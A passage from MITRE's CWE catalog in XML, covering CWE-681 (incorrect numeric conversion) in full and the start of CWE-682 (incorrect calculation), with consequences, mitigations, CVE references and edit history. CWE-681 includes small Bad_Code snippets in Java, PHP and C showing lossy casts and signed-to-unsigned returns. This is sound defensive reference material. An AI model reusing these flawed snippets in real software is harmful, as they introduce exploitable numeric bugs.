				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Be careful using functions that use file names for
						identification</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use strtol() or a related function to convert a string token
						to an integer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use strtol() or a related function to convert a string token
						to an integer</Mapped_Node_Name>
					          <Mapped_Node_ID>INT06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Be careful using functions that use file names for
						identification</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>113</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Relationships, Other_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Other_Notes, References,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Potential_Mitigations, References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="681" Name="Incorrect Conversion between Numeric Types" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>When converting from one data type to another, such as long to
					integer, data can be omitted or translated in a way that produces unexpected
					values. If the resulting values are used in a sensitive context, then dangerous
					behaviors may occur.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>867</Relationship_Target_ID>
					          <!--2011 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>808</Relationship_Target_ID>
					          <!--2010 Top 25 - Weaknesses On the Cusp-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>704</Relationship_Target_ID>
					          <!--Incorrect Type Conversion or Cast-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>136</Relationship_Target_ID>
					          <!--Type Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>739</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 05 - Floating Point (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>848</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>873</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>885</Relationship_Target_ID>
					          <!--SFP Cluster: Risky Values-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-Independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The program could wind up using the wrong number and generate
							incorrect results. If the number is used to allocate resources or make a
							security decision, then this could introduce a vulnerability.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Avoid making conversion between numeric types. Always check for the
							allowed ranges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following Java example, a float literal is cast to an
						integer, thus causing a loss of precision.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>int i = (int) 33457.8f;</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>This code adds a float and an integer together, casting the result
						to an integer.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code> $floatVal = 1.8345;</Code>
							              <Code> $intVal = 3;</Code>
							              <Code>$result = (int)$floatVal + $intVal;</Code>
						            </Block>
						            <Text>Normally, PHP will preserve the precision of this operation, making
							$result = 4.8345. After the cast to int, it is reasonable to expect PHP
							to follow rounding convention and set $result = 5. However, the explicit
							cast to int always rounds DOWN, so the final value of $result is 4. This
							behavior may have unintended consequences.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-73">
					          <Intro_Text>In this example the variable amount can hold a negative value when
						it is returned. Because the function is declared to return an unsigned int,
						amount will be implicitly converted to unsigned.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned int readdata () {</Code>
							              <Block>
								                <Code>int amount = 0;</Code>
								                <Code>...</Code>
								                <Code>if (result == ERROR)</Code>
								                <Code>amount = -1;</Code>
								                <Code>...</Code>
								                <Code>return amount;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the error condition in the code above is met, then the return value
							of readdata() will be 4,294,967,295 on a system that uses 32-bit
							integers. </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-74">
					          <Intro_Text>In this example, depending on the return value of
						accecssmainframe(), the variable amount can hold a negative value when it is
						returned. Because the function is declared to return an unsigned value,
						amount will be implicitly cast to an unsigned number.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>unsigned int readdata () {</Code>
							              <Block>
								                <Code>int amount = 0;</Code>
								                <Code>...</Code>
								                <Code>amount = accessmainframe();</Code>
								                <Code>...</Code>
								                <Code>return amount;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>If the return value of accessmainframe() is -1, then the return value
							of readdata() will be 4,294,967,295 on a system that uses 32-bit
							integers.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4268</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: integer signedness passes signed
						comparison, leads to heap overflow</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4988</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: signed short width value in image processor
						is sign extended during conversion to unsigned int, which leads to integer
						overflow and heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-0231</Observed_Example_Reference>
					          <Observed_Example_Description> Integer truncation of length value leads to
						heap-based buffer overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-3282</Observed_Example_Reference>
					          <Observed_Example_Description>Size of a particular type changes for 64-bit
						platforms, leading to an integer truncation in document processor causes
						incorrect index to be generated.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Type Conversions", Page 223.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Convert integers to floating point for floating point
						operations</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP33-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that floating point conversions are within range of the
						new type</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP34-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Use intmax_t or uintmax_t for formatted IO on
						programmer-defined integer types</Mapped_Node_Name>
					          <Mapped_Node_ID>INT15-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Evaluate integer expressions in a larger size before comparing
						or assigning to that size</Mapped_Node_Name>
					          <Mapped_Node_ID>INT35-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Ensure conversions of numeric types to narrower types do not
						result in lost or misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>NUM12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Use intmax_t or uintmax_t for formatted IO on
						programmer-defined integer types</Mapped_Node_Name>
					          <Mapped_Node_ID>INT15-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that integer conversions do not result in lost or
						misinterpreted data</Mapped_Node_Name>
					          <Mapped_Node_ID>INT31-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Evaluate integer expressions in a larger size before comparing
						or assigning to that size</Mapped_Node_Name>
					          <Mapped_Node_ID>INT35-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Convert integers to floating point for floating point
						operations</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP33-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Ensure that floating point conversions are within range of the
						new type</Mapped_Node_Name>
					          <Mapped_Node_ID>FLP34-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Likelihood_of_Exploit,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="682" Name="Incorrect Calculation" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software performs a calculation that generates incorrect or
					unintended results that are later used in security-critical decisions or
					resource management.</Description_Summary>
				        <Extended_Description>
					          <Text>When software performs a security-critical calculation incorrectly, it
						might lead to incorrect resource allocations, incorrect privilege
						assignments, or failed comparisons among other things. Many of the direct
						results of an incorrect calculation can lead to even larger problems such as
						failed protection mechanisms or even arbitrary code execution.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>170</Relationship_Target_ID>
					          <!--Improper Null Termination-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>738</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>739</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 05 - Floating Point (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>872</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 04 - Integers (INT)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>873</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>907</Relationship_Target_ID>
					          <!--SFP Cluster: Other-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the incorrect calculation causes the program to move into an
							unexpected state, it may lead to a crash or impairment of
							service.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the incorrect calculation is used in the context of resource
							allocation, it could lead to an out-of-bounds operation (CWE-119)
							leading to a crash or even arbitrary code execution. Alternatively, it
							may result in an integer overflow (CWE-190) and / or a resource
							consumption problem (CWE-400).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>In the context of privilege or permissions assignment, an incorrect
							calculation can provide an attacker with access to sensitive
							resources.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the incorrect calculation leads to an insufficient comparison
							(CWE-697), it may compromise a protection mechanism such as a validation
							routine and allow an attacker to bypass the security-critical
							code.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
						            <Text>Specifically, manual static analysis is useful for evaluating the
							correctness of allocation calculations. This can be useful for detecting
							overflow conditions (CWE-190) or similar weaknesses that might have
							serious security impacts on the program.</Text>
					          </Method_Description>
					          <Method_Effectiveness>High</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand your programming language's underlying representation and
							how it interacts with numeric calculation. Pay close attention to byte
							size discrepancies, precision, signed/unsigned distinctions, truncation,
							conversion and casting between types, "not-a-number" calculations, and
							how your language handles numbers that are too large or too small for
							its underlying representation.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-8">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Perform input validation on any numeric input by ensuring that it is
							within the expected range. Enforce that the input meets both the minimum
							and maximum requirements for the expected range.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use the appropriate type for the desired action. For example, in
							C/C++, only use unsigned types for values that could never be negative,
							such as height, width, or other numbers related to quantity.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Language Selection</Mitigation_Strategy>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use languages, libraries, or frameworks that make it easier to handle
							numbers without unexpected consequences.</Text>
						            <Text>Examples include safe integer handling packages such as SafeInt (C++)
							or IntegerLib (C or C++).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-26">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Compilation or Build Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Examine compiler warnings closely and eliminate problems with
							potential security implications, such as signed / unsigned mismatch in
							memory operations, or use of uninitialized variables. Even if the
							weakness is rarely exploitable, a single failure may lead to the
							compromise of the entire system.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
